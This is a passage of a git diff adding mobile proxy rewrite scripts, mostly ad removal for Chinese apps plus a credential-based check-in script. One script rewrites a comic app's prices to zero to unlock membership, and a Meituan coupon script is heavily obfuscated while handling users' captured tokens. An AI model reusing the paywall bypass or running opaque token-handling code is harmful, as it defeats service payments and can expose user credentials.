{ + // 处理弹窗和悬浮广告 + if (url.includes("/portal/app/globalLaunch/listAdvert?")) { + console.log('去除弹窗、悬浮广告'); + if (obj?.data) { + console.log('【已处理】去除弹窗、悬浮广告'); + obj.data = {}; + } + } + + // 处理预购列表 + if (url.includes("/app/v1/home/getReservation/?")) { + console.log('去除预购列表'); + if (obj?.data) { + console.log('【已处理】去除预购列表'); + obj.data = {}; + } + } + + // 处理推荐列表 + if (url.includes("/app/v1/home/getRecommendations/?")) { + console.log('去除推荐列表'); + if (obj?.data) { + console.log('【已处理】去除推荐列表'); + obj.data = {}; + } + } + + // 处理首页banner推广 + if (url.includes("/app/v1/home/getConfigInfo/?")) { + console.log('去除首页banner推广'); + if (obj?.data?.dysmorphismPictureList) { + console.log('【已处理】去除首页banner推广'); + obj.data.dysmorphismPictureList = []; + } + } + + // 处理首页栏目 + if (url.includes("/app/v1/mina/systemSetting?")) { + console.log('去除首页栏目'); + if (obj?.data) { + obj.data = obj.data.map(item => { + if (item.type === 'HOMETAB') { + console.log('【已处理】去除首页栏目'); + item.openFlg = false; + item.typeValue = {}; + } + return item; + }); + } + } +} catch (e) { + console.log('脚本运行出现错误,部分广告未去除⚠️'); + console.log('错误信息:' + e.message); +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/lvtusuishenting/ltsst-ad.js b/Scripts/lvtusuishenting/ltsst-ad.js new file mode 100644 index 00000000..74ead466 --- /dev/null +++ b/Scripts/lvtusuishenting/ltsst-ad.js @@ -0,0 +1,25 @@ +/************************************* + + 项目名称:旅途随身听-首页北京城市导览图片,首页上方轮播图片净化 + 使用声明:⚠️仅供参考,🈲转载与售卖! + + ************************************** + + [rewrite_local] + ^https:\/\/www\.1314zhilv\.com\/ltsstnew\/(common\/getJGQIconNew|city\/getAllBannelByCity) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lvtusuishenting/ltsst-ad.js + + [mitm] + hostname = www.1314zhilv.com + + ************************************/ + +var body = JSON.parse($response.body); +const url = $request.url; + +if (url.includes('/ltsstnew/common/getJGQIconNew')) { + delete body.content.specialBanner; +} else if (url.includes('/ltsstnew/city/getAllBannelByCity')) { + body.content = body.content.filter(i => i.bannerType === 1); +} + +$done({body: JSON.stringify(body)}); diff --git a/Scripts/macat/macat_signin.js b/Scripts/macat/macat_signin.js new file mode 100644 index 00000000..8de7c5ec --- /dev/null +++ b/Scripts/macat/macat_signin.js @@ -0,0 +1,648 @@ +/* + 脚本作用:马克喵,每日签到 + 更新时间:2023.10.14 20:55 + 参考脚本:https://raw.githubusercontent.com/MCdasheng/QuantumultX/main/Scripts/myScripts/macat.js + [task_local] + 22 7 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/macat/macat_signin.js, tag=马克喵签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Macat.png, enabled=true + @params:"fmz200.macat_loginBody" (boxjs自行填入,包含账号密码信息等) + 格式: `action=user_login&username=xxx%40gmail.com&password=xxx&rememberme=1` +*/ + +const $ = new Env("macat"); + +signIn() + .catch((e) => $.log(e)) + .finally(() => { + $.log("ok"); + $.done(); + }); + +async function signIn() { + const ck1 = await login(); + const nonce = await get_nonce(ck1); + + let options = { + url: "https://www.macat.vip/wp-admin/admin-ajax.php", + headers: { + "user-agent": + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", + accept: + "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7,en-GB;q=0.6", + cookie: ck1, + }, + body: `action=user_qiandao&nonce=${nonce}`, + }; + + return $.http.post(options).then((resp) => { + $.log("🟢正在签到..."); + // $.log(resp.body); + var obj = JSON.parse(resp.body); + if (obj.status == 1) { + var notice = "🎉" + obj.msg; + $.log(notice); + $.msg($.name, notice); + $.done(); + } else { + if (obj.msg) { + $.log(obj.msg); + $.msg($.name, obj.msg); + $.done(); + } else { + $.log("🔴签到失败!", resp.body); + $.msg($.name, "🔴签到失败!"); + $.done(); + } + } + }); +} + +async function get_nonce(ck1) { + const ck2 = " wordpress_test_cookie=WP%20Cookie%20check; "; + const ck_user = ck1 + "; " + ck2; + + let options = { + url: `https://www.macat.vip/user`, + headers: { + "User-Agent": `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15`, + Cookie: ck_user, + }, + }; + + return $.http.get(options).then((resp) => { + $.log("🟢正在获取user页面..."); + // $.log(resp.body); + var reg = + /data-nonce=\"(.*)\" data-toggle=\"tooltip\" data-placement=\"bottom\" title=\"每日签到奖励: 0.2喵币\"\>/; + if (resp.body.search(reg) != -1) { + var nonce = reg.exec(resp.body)[1]; + $.log("🎉获取签到nonce成功!"); + $.log(nonce); + return nonce; + } else { + $.log("🔴获取签到nonce失败!"); + $.log(resp.body); + $.msg($.name, "🔴获取签到nonce失败!"); + $.done(); + } + }); +} + +function login() { + const loginBody = $.getdata("fmz200.macat_loginBody"); + + let options = { + url: "https://www.macat.vip/wp-admin/admin-ajax.php", + headers: { + "User-Agent": `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15`, + Cookie: `wordpress_test_cookie=WP%20Cookie%20check;`, + }, + body: loginBody, + }; + + return $.http.post(options).then((resp) => { + $.log("🟢正在登录..."); + // $.log(resp.body); + var obj = JSON.parse(resp.body); + if (obj.status == 1) { + $.log("🎉" + obj.msg); + var set_cookie = resp.headers["Set-Cookie"]; + // $.log(set_cookie); + + // 数据处理:去除cookie中的附带信息,保留变量值 + var c = []; + var a = set_cookie.split(","); // 逗号分隔每条cookie得到的数组 + for (var i = 0; i < a.length; i++) { + var b = a[i].split(";"); // 分号分隔每条cookie详细信息 + c.push(b[0]); // b[0]即为cookie变量值 + } + // console.log(c); + + var cookie = ""; + var reg = /wordpress_logged_in_283f6a4de97ca3c279fbc4071e17aa86=(.*)/; + for (var j = 0; j < c.length; j++) { + if (c[j].search(reg) != -1) { + var cookie = c[j]; + // $.log(c[j]); + break; + } + } + cookie = cookie.trim(); + if (cookie) { + $.log("🎉解析cookie成功!"); + $.log(cookie); + return cookie; // 返回cookie + } else { + $.log("🔴解析cookie失败!"); + $.log(set_cookie); + $.msg($.name, "🔴解析cookie失败!"); + $.done(); + } + } + // 登录失败 + else { + $.log("🔴" + obj.msg); + $.log(resp.body); + $.msg($.name, "🔴登录失败!"); + $.done(); + } + }, + (reason) => { + $.msg($.name, "❌登录错误!"); + $.log(reason.error); + $.done(); + } + ); +} + +function Env(t, s) { + class e { + constructor(t) { + this.env = t; + } + send(t, s = "GET") { + t = "string" == typeof t ? { url: t } : t; + let e = this.get; + return ( + "POST" === s && (e = this.post), + new Promise((s, i) => { + e.call(this, t, (t, e, r) => { + t ? i(t) : s(e); + }); + }) + ); + } + get(t) { + return this.send.call(this.env, t); + } + post(t) { + return this.send.call(this.env, t, "POST"); + } + } + return new (class { + constructor(t, s) { + (this.name = t), + (this.http = new e(this)), + (this.data = null), + (this.dataFile = "box.dat"), + (this.logs = []), + (this.isMute = !1), + (this.isNeedRewrite = !1), + (this.logSeparator = "\n"), + (this.encoding = "utf-8"), + (this.startTime = new Date().getTime()), + Object.assign(this, s), + this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return "undefined" != typeof module && !!module.exports; + } + isQuanX() { + return "undefined" != typeof $task; + } + isSurge() { + return ( + "undefined" != typeof $environment && $environment["surge-version"] + ); + } + isLoon() { + return "undefined" != typeof $loon; + } + isShadowrocket() { + return "undefined" != typeof $rocket; + } + isStash() { + return ( + "undefined" != typeof $environment && $environment["stash-version"] + ); + } + toObj(t, s = null) { + try { + return JSON.parse(t); + } catch { + return s; + } + } + toStr(t, s = null) { + try { + return JSON.stringify(t); + } catch { + return s; + } + } + getjson(t, s) { + let e = s; + const i = this.getdata(t); + if (i) + try { + e = JSON.parse(this.getdata(t)); + } catch {} + return e; + } + setjson(t, s) { + try { + return this.setdata(JSON.stringify(t), s); + } catch { + return !1; + } + } + getScript(t) { + return new Promise((s) => { + this.get({ url: t }, (t, e, i) => s(i)); + }); + } + runScript(t, s) { + return new Promise((e) => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + (r = r ? 1 * r : 20), (r = s && s.timeout ? s.timeout : r); + const [o, h] = i.split("@"), + a = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" }, + timeout: r, + }; + this.post(a, (t, s, i) => e(i)); + }).catch((t) => this.logErr(t)); + } + loaddata() { + if (!this.isNode()) return {}; + { + (this.fs = this.fs ? this.fs : require("fs")), + (this.path = this.path ? this.path : require("path")); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) return {}; + { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require("fs")), + (this.path = this.path ? this.path : require("path")); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + r = JSON.stringify(this.data); + e + ? this.fs.writeFileSync(t, r) + : i + ? this.fs.writeFileSync(s, r) + : this.fs.writeFileSync(t, r); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (((r = Object(r)[t]), void 0 === r)) return e; + return r; + } + lodash_set(t, s, e) { + return Object(t) !== t + ? t + : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), + (s + .slice(0, -1) + .reduce( + (t, e, i) => + Object(t[e]) === t[e] + ? t[e] + : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), + t + )[s[s.length - 1]] = e), + t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = e ? this.getval(e) : ""; + if (r) + try { + const t = JSON.parse(r); + s = t ? this.lodash_get(t, i, "") : s; + } catch (t) { + s = ""; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(s), + o = this.getval(i), + h = i ? ("null" === o ? null : o || "{}") : "{}"; + try { + const s = JSON.parse(h); + this.lodash_set(s, r, t), (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const o = {}; + this.lodash_set(o, r, t), (e = this.setval(JSON.stringify(o), i)); + } + } else e = this.setval(t, s); + return e; + } + getval(t) { + return this.isSurge() || + this.isShadowrocket() || + this.isLoon() || + this.isStash() + ? $persistentStore.read(t) + : this.isQuanX() + ? $prefs.valueForKey(t) + : this.isNode() + ? ((this.data = this.loaddata()), this.data[t]) + : (this.data && this.data[t]) || null; + } + setval(t, s) { + return this.isSurge() || + this.isShadowrocket() || + this.isLoon() || + this.isStash() + ? $persistentStore.write(t, s) + : this.isQuanX() + ? $prefs.setValueForKey(t, s) + : this.isNode() + ? ((this.data = this.loaddata()), + (this.data[s] = t), + this.writedata(), + !0) + : (this.data && this.data[s]) || null; + } + initGotEnv(t) { + (this.got = this.got ? this.got : require("got")), + (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && + ((t.headers = t.headers ? t.headers : {}), + void 0 === t.headers.Cookie && + void 0 === t.cookieJar && + (t.cookieJar = this.ckjar)); + } + get(t, s = () => {}) { + if ( + (t.headers && + (delete t.headers["Content-Type"], + delete t.headers["Content-Length"]), + this.isSurge() || + this.isShadowrocket() || + this.isLoon() || + this.isStash()) + ) + this.isSurge() && + this.isNeedRewrite && + ((t.headers = t.headers || {}), + Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), + $httpClient.get(t, (t, e, i) => { + !t && + e && + ((e.body = i), + (e.statusCode = e.status ? e.status : e.statusCode), + (e.status = e.statusCode)), + s(t, e, i); + }); + else if (this.isQuanX()) + this.isNeedRewrite && + ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), + $task.fetch(t).then( + (t) => { + const { statusCode: e, statusCode: i, headers: r, body: o } = t; + s(null, { status: e, statusCode: i, headers: r, body: o }, o); + }, + (t) => s((t && t.error) || "UndefinedError") + ); + else if (this.isNode()) { + let e = require("iconv-lite"); + this.initGotEnv(t), + this.got(t) + .on("redirect", (t, s) => { + try { + if (t.headers["set-cookie"]) { + const e = t.headers["set-cookie"] + .map(this.cktough.Cookie.parse) + .toString(); + e && this.ckjar.setCookieSync(e, null), + (s.cookieJar = this.ckjar); + } + } catch (t) { + this.logErr(t); + } + }) + .then( + (t) => { + const { + statusCode: i, + statusCode: r, + headers: o, + rawBody: h, + } = t, + a = e.decode(h, this.encoding); + s( + null, + { status: i, statusCode: r, headers: o, rawBody: h, body: a }, + a + ); + }, + (t) => { + const { message: i, response: r } = t; + s(i, r, r && e.decode(r.rawBody, this.encoding)); + } + ); + } + } + post(t, s = () => {}) { + const e = t.method ? t.method.toLocaleLowerCase() : "post"; + if ( + (t.body && + t.headers && + !t.headers["Content-Type"] && + (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), + t.headers && delete t.headers["Content-Length"], + this.isSurge() || + this.isShadowrocket() || + this.isLoon() || + this.isStash()) + ) + this.isSurge() && + this.isNeedRewrite && + ((t.headers = t.headers || {}), + Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), + $httpClient[e](t, (t, e, i) => { + !t && + e && + ((e.body = i), + (e.statusCode = e.status ? e.status : e.statusCode), + (e.status = e.statusCode)), + s(t, e, i); + }); + else if (this.isQuanX()) + (t.method = e), + this.isNeedRewrite && + ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), + $task.fetch(t).then( + (t) => { + const { statusCode: e, statusCode: i, headers: r, body: o } = t; + s(null, { status: e, statusCode: i, headers: r, body: o }, o); + }, + (t) => s((t && t.error) || "UndefinedError") + ); + else if (this.isNode()) { + let i = require("iconv-lite"); + this.initGotEnv(t); + const { url: r, ...o } = t; + this.got[e](r, o).then( + (t) => { + const { statusCode: e, statusCode: r, headers: o, rawBody: h } = t, + a = i.decode(h, this.encoding); + s( + null, + { status: e, statusCode: r, headers: o, rawBody: h, body: a }, + a + ); + }, + (t) => { + const { message: e, response: r } = t; + s(e, r, r && i.decode(r.rawBody, this.encoding)); + } + ); + } + } + time(t, s = null) { + const e = s ? new Date(s) : new Date(); + let i = { + "M+": e.getMonth() + 1, + "d+": e.getDate(), + "H+": e.getHours(), + "m+": e.getMinutes(), + "s+": e.getSeconds(), + "q+": Math.floor((e.getMonth() + 3) / 3), + S: e.getMilliseconds(), + }; + /(y+)/.test(t) && + (t = t.replace( + RegExp.$1, + (e.getFullYear() + "").substr(4 - RegExp.$1.length) + )); + for (let s in i) + new RegExp("(" + s + ")").test(t) && + (t = t.replace( + RegExp.$1, + 1 == RegExp.$1.length + ? i[s] + : ("00" + i[s]).substr(("" + i[s]).length) + )); + return t; + } + queryStr(t) { + let s = ""; + for (const e in t) { + let i = t[e]; + null != i && + "" !== i && + ("object" == typeof i && (i = JSON.stringify(i)), + (s += `${e}=${i}&`)); + } + return (s = s.substring(0, s.length - 1)), s; + } + msg(s = t, e = "", i = "", r) { + const o = (t) => { + if (!t) return t; + if ("string" == typeof t) + return this.isLoon() || this.isShadowrocket() + ? t + : this.isQuanX() + ? { "open-url": t } + : this.isSurge() || this.isStash() + ? { url: t } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let s = t.openUrl || t.url || t["open-url"], + e = t.mediaUrl || t["media-url"]; + return { openUrl: s, mediaUrl: e }; + } + if (this.isQuanX()) { + let s = t["open-url"] || t.url || t.openUrl, + e = t["media-url"] || t.mediaUrl, + i = t["update-pasteboard"] || t.updatePasteboard; + return { "open-url": s, "media-url": e, "update-pasteboard": i }; + } + if (this.isSurge() || this.isShadowrocket() || this.isStash()) { + let s = t.url || t.openUrl || t["open-url"]; + return { url: s }; + } + } + }; + if ( + (this.isMute || + (this.isSurge() || + this.isShadowrocket() || + this.isLoon() || + this.isStash() + ? $notification.post(s, e, i, o(r)) + : this.isQuanX() && $notify(s, e, i, o(r))), + !this.isMuteLog) + ) { + let t = [ + "", + "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3==============", + ]; + t.push(s), + e && t.push(e), + i && t.push(i), + console.log(t.join("\n")), + (this.logs = this.logs.concat(t)); + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)); + } + logErr(t, s) { + const e = !( + this.isSurge() || + this.isShadowrocket() || + this.isQuanX() || + this.isLoon() || + this.isStash() + ); + e + ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) + : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log( + "", + `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2` + ), + this.log(), + this.isSurge() || + this.isShadowrocket() || + this.isQuanX() || + this.isLoon() || + this.isStash() + ? $done(t) + : this.isNode() && process.exit(1); + } + })(t, s); +} + diff --git a/Scripts/maimai/maimai_ads.js b/Scripts/maimai/maimai_ads.js new file mode 100644 index 00000000..82863893 --- /dev/null +++ b/Scripts/maimai/maimai_ads.js @@ -0,0 +1,33 @@ +/** + * 脉脉去广告 + * 移除开屏广告、信息流广告、横幅推广、相关帖子推荐。 + * 2024-08-18 00:53:34 + */ +const url = $request.url; +let obj = JSON.parse($response.body); + +if (url.includes("/maimai/feed/v5/focus_feed?")) { + if (obj.feeds && Array.isArray(obj.feeds)) { + obj.feeds = obj.feeds.filter(feed => !feed.newAdStyle); + } +} + +if (url.includes("/maimai/gossip/v3/gossip_detail_comment?")) { + if (obj.comments?.lst && Array.isArray(obj.comments.lst)) { + obj.comments.lst = obj.comments.lst.filter(comment => !comment.newAdStyle); + } +} + +if (url.includes("/maimai/feed/v6/feed_detail_comment?")) { + if (obj.lst && Array.isArray(obj.lst)) { + obj.lst = obj.lst.filter(item => !item.newAdStyle); + } +} + +if (url.includes("/maimai/feed/v6/detail_recommend_feeds")) { + delete obj.feeds; +} + +$done({body: JSON.stringify(obj)}); + + diff --git a/Scripts/manhuatailite.js b/Scripts/manhuatailite.js new file mode 100644 index 00000000..31e12d9c --- /dev/null +++ b/Scripts/manhuatailite.js @@ -0,0 +1,20 @@ +/*********************************** + +> 應用名稱:漫画台Lite(微信小程序) +> 軟件版本:0.0.0 +> 下載地址:微信小程序搜索漫画台Lite +> 更新時間:2022-03-11 +> 特別聲明:本腳本僅供學習交流使用,禁止轉載售賣 + +[rewrite_local] +# ~ 漫画台Lite(微信小程序)解鎖會員權限(2022-03-11) +^https?:\/\/comic\.321mh\.com\/app_api\/v\d\/getcomicinfo_body url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/manhuatailite.js + +[mitm] +hostname=comic.321mh.com + +***********************************/ + +var body = $response.body.replace(/price":\d+/g,'price":0') +$done({ body }); + diff --git a/Scripts/meituan/meituanV3.js b/Scripts/meituan/meituanV3.js new file mode 100644 index 00000000..fff17379 --- /dev/null +++ b/Scripts/meituan/meituanV3.js @@ -0,0 +1,14 @@ +/* +美团 v3.17 + +美团V3仅支持青龙等nodejs环境, 不支持圈X +自动领券和完成一些活动任务 +建议按推荐定时跑, 每天10点15点17点有券可以抽 + +自行捉包把meituan.com里面的token(一般在请求头里)填到变量 meituanCookie 中, 多账号换行或&或@隔开 +export meituanCookie="AgGZIgsYHyxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" + +cron: 2 0,10,15,17,21 * * * +const $ = new Env("美团"); +*/ +const _0xcdce93=_0x224e;(function(_0x360297,_0xc4851){const _0x2a10a8=_0x224e,_0x3a43a7=_0x360297();while(!![]){try{const _0x259c5d=-parseInt(_0x2a10a8(0x1dd))/(-0x4*0x7f7+0x2*-0x46+0x2069)*(parseInt(_0x2a10a8(0x154c))/(0x256c+0x1e1b*0x1+-0x4385))+parseInt(_0x2a10a8(0x715))/(0x1e*-0x16+-0x1ac3*0x1+0x242*0xd)*(-parseInt(_0x2a10a8(0x1ee9))/(-0x1555+0x1*-0x1c1d+-0x1*-0x3176))+parseInt(_0x2a10a8(0x25a7))/(0x1b79+-0x77e+0x16d*-0xe)+parseInt(_0x2a10a8(0x140))/(-0x11a5*-0x1+-0x2254+0x10b5)*(parseInt(_0x2a10a8(0x1b19))/(-0x1813+0x4a*0x1+0x17d0))+-parseInt(_0x2a10a8(0x22f3))/(0xdf+0x1084+-0x115b)+parseInt(_0x2a10a8(0x20a6))/(-0x10b5+0x1a00+0x3*-0x316)*(parseInt(_0x2a10a8(0x22fb))/(-0x16*-0xce+0x1d30+-0x2eda))+parseInt(_0x2a10a8(0x3511))/(-0x13*-0xd9+0x16*-0x22+-0xd24)*(parseInt(_0x2a10a8(0x10a9))/(0x524+-0x2*0xa58+0x3e6*0x4));if(_0x259c5d===_0xc4851)break;else _0x3a43a7['push'](_0x3a43a7['shift']());}catch(_0x255f25){_0x3a43a7['push'](_0x3a43a7['shift']());}}}(_0x35ee,-0x5*-0x1d4af+0x1aec*0x2b+-0x15*0x4233));const _0x18d7a9=_0x3220d1('\u7f8e\u56e2'),_0x3ed3c4=require('\x67\x6f\x74'),_0x405f82='\x6d\x65\x69\x74\x75'+'\x61\x6e',_0x2e7b8f=['\x0a','\x26','\x40'],_0x35d84e=[_0x405f82+(_0xcdce93(0x1d67)+'\x65')],_0x56d060=0x706d+0xd*0x52f+-0x8*0xf27,_0x4a58df=-0x2376+0x3a*-0x7a+-0x6b*-0x97,_0x1f3245=process[_0xcdce93(0x1fd2)][_0x405f82+(_0xcdce93(0x293f)+'\x69\x74\x68\x64\x72'+'\x61\x77')]||_0xcdce93(0x210a),_0x304fb1=process[_0xcdce93(0x1fd2)][_0x405f82+(_0xcdce93(0x2dae)+'\x6e\x54\x61\x73\x6b')]||'\x66\x61\x6c\x73\x65',_0x1fb440=process['\x65\x6e\x76'][_0x405f82+(_0xcdce93(0x1b2d)+_0xcdce93(0xecf))]||_0xcdce93(0x210a),_0x3b57e8=process[_0xcdce93(0x1fd2)][_0x405f82+(_0xcdce93(0xc45)+'\x73\x6b')]||'\x74\x72\x75\x65',_0x453754=process['\x65\x6e\x76'][_0x405f82+(_0xcdce93(0x2f37)+'\x73\x6b')]||_0xcdce93(0x210a),_0x4629db=process[_0xcdce93(0x1fd2)][_0x405f82+(_0xcdce93(0x170)+'\x69\x64')]||'';let _0x2aec53=null;const _0x1598ed=null,_0x2f9d09=![],_0x50ea05=-0x19a0+0x202+0x107*0x17+0.16999999999999993,_0x3c1492=_0xcdce93(0x339c)+'\x61\x6e',_0x2e3c69='\x68\x74\x74\x70\x73'+'\x3a\x2f\x2f\x6c\x65'+_0xcdce93(0x17c3)+_0xcdce93(0x3069)+_0xcdce93(0xd96)+_0xcdce93(0x12c8)+_0xcdce93(0x3b1)+_0xcdce93(0x3469)+'\x78\x63\x79\x2f\x70'+_0xcdce93(0x1b6e)+_0xcdce93(0x3108)+_0xcdce93(0x29f0)+_0xcdce93(0x726)+_0xcdce93(0x24ed)+'\x65\x70\x6f\x74\x2f'+_0xcdce93(0x1d98)+_0xcdce93(0x115e)+_0xcdce93(0x1a87)+_0xcdce93(0x158e)+_0xcdce93(0x33ae)+_0xcdce93(0x17a4)+_0xcdce93(0x33b9),_0x380424='\x68\x74\x74\x70\x73'+_0xcdce93(0x23c)+_0xcdce93(0x17c3)+_0xcdce93(0x3069)+_0xcdce93(0xd96)+_0xcdce93(0x12c8)+_0xcdce93(0x3b1)+_0xcdce93(0x3469)+_0xcdce93(0x1db1)+'\x72\x6f\x6a\x65\x63'+_0xcdce93(0x3108)+'\x69\x64\x63\x6f\x64'+_0xcdce93(0x726)+_0xcdce93(0x24ed)+'\x65\x70\x6f\x74\x2f'+'\x76\x61\x6c\x69\x64'+'\x43\x6f\x64\x65\x2f'+_0xcdce93(0x1a87)+_0xcdce93(0x158e)+_0xcdce93(0x33ae)+'\x2f'+_0x3c1492+_0xcdce93(0x33b9),_0x135739=_0xcdce93(0x7a6)+_0xcdce93(0x30a0)+'\x30\x20\x28\x69\x50'+_0xcdce93(0xc5d)+'\x20\x43\x50\x55\x20'+'\x69\x50\x68\x6f\x6e'+_0xcdce93(0x1aa3)+_0xcdce93(0x16a7)+_0xcdce93(0x185b)+_0xcdce93(0x15d4)+_0xcdce93(0x297c)+'\x29\x20\x41\x70\x70'+_0xcdce93(0x17ce)+_0xcdce93(0x6dd)+_0xcdce93(0x2b48)+_0xcdce93(0x3126)+_0xcdce93(0x201c)+_0xcdce93(0x3193)+'\x20\x47\x65\x63\x6b'+'\x6f\x29\x20\x4d\x6f'+_0xcdce93(0x195f)+_0xcdce93(0x200d)+_0xcdce93(0x3586)+_0xcdce93(0x3f7)+_0xcdce93(0x2fa7)+_0xcdce93(0x156f)+_0xcdce93(0x32f9)+_0xcdce93(0x32c3)+_0xcdce93(0xa15)+_0xcdce93(0x119)+_0xcdce93(0x27f7)+'\x49\x46\x49\x20\x4c'+_0xcdce93(0x1cbe)+_0xcdce93(0xa00)+_0xcdce93(0xd4e),_0xfc1745=_0xcdce93(0x1171)+'\x61\x63\x30\x61\x32'+_0xcdce93(0x20fb)+_0xcdce93(0x1b9c),_0x3a31e3=_0xcdce93(0x544)+_0xcdce93(0x2dba),_0x45392f=_0xcdce93(0x31d2)+'\x33',_0x1f5fcb=_0xcdce93(0x273a)+'\x65',_0x2e0abb=_0xcdce93(0x21a7)+_0xcdce93(0x2dbc)+_0xcdce93(0x1f59)+_0xcdce93(0x316e)+_0xcdce93(0x19bb)+_0xcdce93(0x1ae3)+_0xcdce93(0x3532)+_0xcdce93(0x3fb)+_0xcdce93(0x305f)+'\x31\x68\x45\x6f\x4b'+_0xcdce93(0x75e)+_0xcdce93(0x23b1)+_0xcdce93(0x10c4)+_0xcdce93(0x20cc)+_0xcdce93(0x142d)+_0xcdce93(0x1b3c)+_0xcdce93(0x2a7c)+'\x2f\x47\x56\x6e\x77'+_0xcdce93(0x344f)+_0xcdce93(0x9ae)+_0xcdce93(0x9b7)+_0xcdce93(0x3254)+_0xcdce93(0x33d)+_0xcdce93(0x255a)+_0xcdce93(0xbbe)+_0xcdce93(0x2c19)+_0xcdce93(0x1165)+'\x39\x45\x55\x46\x70'+_0xcdce93(0x1c6b)+_0xcdce93(0x94d)+_0xcdce93(0x106e)+_0xcdce93(0xcbf)+_0xcdce93(0x32e3)+_0xcdce93(0x5b4)+_0xcdce93(0x158c)+'\x35\x64\x64\x6e\x55'+_0xcdce93(0x2d74)+'\x51\x3d\x3d',_0xd70020=_0xcdce93(0x12af)+_0xcdce93(0xa38),_0xb858b1=_0xcdce93(0x12af)+_0xcdce93(0x8c9),_0x415a30=_0xcdce93(0x12af)+_0xcdce93(0x8c9)+'\x61\x62\x63\x64\x65'+'\x66',_0x4efcd7=_0xcdce93(0xf06)+'\x79\x75\x69\x6f\x70'+_0xcdce93(0x1c2f)+_0xcdce93(0x35d)+_0xcdce93(0x3525)+'\x6d',_0x469fef=_0xb858b1+_0x4efcd7+_0x4efcd7[_0xcdce93(0xebb)+_0xcdce93(0x9da)+'\x65']();let _0x1c0016='\x31\x31\x34\x2e\x30'+'\x37'+_0x18d7a9[_0xcdce93(0x2c43)+_0xcdce93(0x171f)+'\x6e\x67'](0x468+0x2*-0xb78+0x1294,_0xb858b1),_0x5d532f=_0xcdce93(0x2055)+_0x18d7a9[_0xcdce93(0x2c43)+'\x6d\x53\x74\x72\x69'+'\x6e\x67'](-0x1a8c+0x13f3*-0x1+0xf84*0x3,_0xb858b1),_0x487c83=_0xcdce93(0x243d)+_0xcdce93(0x1f36)+_0xcdce93(0xcb3)+'\x64\x63\x53\x6c\x4c'+_0xcdce93(0x8cf)+_0xcdce93(0x296d)+_0xcdce93(0x263a)+_0xcdce93(0x1985)+_0xcdce93(0x15f4)+_0xcdce93(0x22c1)+'\x59\x63\x42\x62\x64'+_0xcdce93(0x2500)+_0xcdce93(0x49a)+'\x45\x45\x4a\x62\x35'+'\x71\x6f\x57\x67\x6c'+_0xcdce93(0x2557)+_0xcdce93(0x1fbe)+'\x50\x33\x37\x4f\x53'+_0xcdce93(0x2e6c)+'\x7a\x41\x57\x67\x76'+_0xcdce93(0x1255)+'\x77\x4a\x6c\x79\x44'+_0xcdce93(0x222f)+_0xcdce93(0x2e5b)+'\x77\x65\x56\x70\x32'+_0xcdce93(0x2677)+_0xcdce93(0x2984)+'\x65\x48\x38\x51\x56'+_0xcdce93(0x192d)+'\x78\x61\x55\x47\x42'+'\x65\x4f\x74\x75\x41'+_0xcdce93(0x2762)+_0xcdce93(0x1674)+_0xcdce93(0x103f)+'\x45',_0x56bde4=[],_0x492720=[];const 